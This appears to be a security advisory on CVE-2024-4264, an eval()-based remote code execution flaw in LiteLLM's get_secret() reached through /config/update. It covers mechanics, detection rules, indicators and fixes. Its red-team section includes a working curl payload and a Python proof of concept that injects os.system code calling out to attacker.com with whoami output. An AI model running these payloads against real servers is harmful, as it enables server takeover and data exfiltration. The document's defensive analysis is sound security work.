CVE-2024-4264

Executive Summary

CVE-2024-4264 is a critical remote code execution (RCE) vulnerability in the BerriAI LiteLLM project, a popular open-source proxy for managing multiple LLM providers. The flaw resides in the litellm.get_secret() method, which unsafely uses Python's eval() function when Google KMS is enabled. An attacker can inject malicious code into environment variables via the /config/update endpoint, leading to arbitrary code execution on the server. With a CVSS score of 9.8, this vulnerability is considered critical and requires immediate attention. No public exploit code or patch details are currently available, but the risk is high due to the ease of exploitation and potential for full system compromise.

Supply Chain & Package Security

LiteLLM is distributed as a Python package (PyPI: litellm). This vulnerability affects the supply chain by allowing attackers to compromise the proxy server, potentially intercepting or manipulating API calls to LLM providers. Organizations using LiteLLM as a central gateway for AI services are at risk of data exfiltration, credential theft, and lateral movement within their infrastructure.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability is trivially exploitable over the network without authentication, making it a top priority for patching.

Deep Dive & Mechanics

The vulnerability exists in the litellm.get_secret() method, which is used to retrieve secrets from environment variables or Google KMS. When Google KMS is configured, the method passes untrusted data directly to Python's eval() function without sanitization. The attack vector is the /config/update endpoint, which allows updating settings in proxy_server_config.yaml. An attacker can inject malicious values into environment variables that are later processed by eval(), leading to arbitrary code execution.

The flow is as follows:

1. Attacker sends a POST request to /config/update with a crafted payload that sets an environment variable to a malicious Python expression.
2. The server updates proxy_server_config.yaml and reloads configuration.
3. When litellm.get_secret() is called (e.g., during a subsequent API request), the malicious environment variable is passed to eval().
4. The eval() function executes the attacker's code, granting full control over the server.

Vulnerable vs. Patched Code

Vulnerable Code (conceptual):

def get_secret(key):
    if use_google_kms:
        secret = google_kms_decrypt(os.environ.get(key))
        return eval(secret)  # Unsafe eval
    else:
        return os.environ.get(key)

Patched Code (expected):

def get_secret(key):
    if use_google_kms:
        secret = google_kms_decrypt(os.environ.get(key))
        # Use a safe alternative like json.loads or ast.literal_eval
        return ast.literal_eval(secret)
    else:
        return os.environ.get(key)

The patch should replace eval() with ast.literal_eval() or a similar safe parsing function that only evaluates literal expressions.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to the /config/update endpoint (no authentication required by default).
• LiteLLM server with Google KMS enabled.

Exploitation Steps:

1. Identify the target LiteLLM server (e.g., http://target:8000).
2. Send a malicious payload to /config/update to set an environment variable:

   curl -X POST http://target:8000/config/update \
     -H "Content-Type: application/json" \
     -d '{"environment_variables": {"MALICIOUS_VAR": "__import__(\"os\").system(\"id\")"}}'
   

3. Trigger the get_secret() call by making a request that uses the injected variable (e.g., via a normal API call).
4. The eval() executes the payload, running id on the server.

Proof-of-Concept (PoC) Script:

import requests

target = "http://target:8000"
payload = {
    "environment_variables": {
        "MALICIOUS_VAR": "__import__('os').system('curl http://attacker.com/$(whoami)')"
    }
}
requests.post(f"{target}/config/update", json=payload)
# Trigger get_secret by making a normal request
requests.get(f"{target}/v1/models")

Blue Team (Detection & Hardening)

Detection Steps:

• Monitor for unusual POST requests to /config/update with suspicious JSON payloads.
• Look for environment variables containing Python code (e.g., __import__, os.system, eval).
• Alert on any use of eval() in application logs.

Hardening:

• Disable Google KMS if not required.
• Apply input validation and sanitization on all configuration endpoints.
• Use a Web Application Firewall (WAF) to block requests with eval or __import__ in JSON bodies.
• Restrict network access to the /config/update endpoint.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /config/update with JSON containing "environment_variables" and Python code.
  • Outbound connections to attacker-controlled servers (e.g., for data exfiltration).
• File IOCs:
  • Modified proxy_server_config.yaml with suspicious environment variables.
  • Unexpected files in /tmp/ or /var/tmp/ (e.g., reverse shell scripts).
• Process IOCs:
  • Unusual child processes spawned by the LiteLLM server (e.g., curl, wget, bash).
  • High CPU usage from Python processes executing arbitrary code.

Detection Engineering

YARA Rule

rule CVE_2024_4264_LiteLLM_RCE {
    meta:
        description = "Detects exploitation attempts of CVE-2024-4264 in LiteLLM"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "critical"
    strings:
        $eval_call = "eval(" ascii wide nocase
        $get_secret = "get_secret" ascii wide nocase
        $kms_decrypt = "google_kms_decrypt" ascii wide nocase
        $env_var = "environment_variables" ascii wide nocase
        $config_update = "/config/update" ascii wide nocase
    condition:
        ($eval_call and $get_secret) or ($env_var and $config_update)
}

Sigma Rule

title: CVE-2024-4264 LiteLLM RCE via /config/update
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to /config/update with suspicious environment variables
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: generic
detection:
    selection:
        http.method: POST
        http.url: "/config/update"
        http.body|contains: "environment_variables"
    condition: selection
falsepositives:
    - Legitimate configuration updates (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-4264 LiteLLM RCE Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/config/update"; http.request_body; content:"environment_variables"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Google KMS in the LiteLLM configuration if not essential.
2. Restrict access to the /config/update endpoint using network policies or authentication.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Apply the vendor patch once available (replace eval() with ast.literal_eval()).
• Upgrade to the latest version of LiteLLM when a fix is released.
• Implement input validation for all configuration endpoints.

Workarounds:

• Use a reverse proxy (e.g., Nginx) to block POST requests to /config/update from untrusted IPs.
• Deploy a WAF with rules to detect and block eval and __import__ patterns.

Valters IT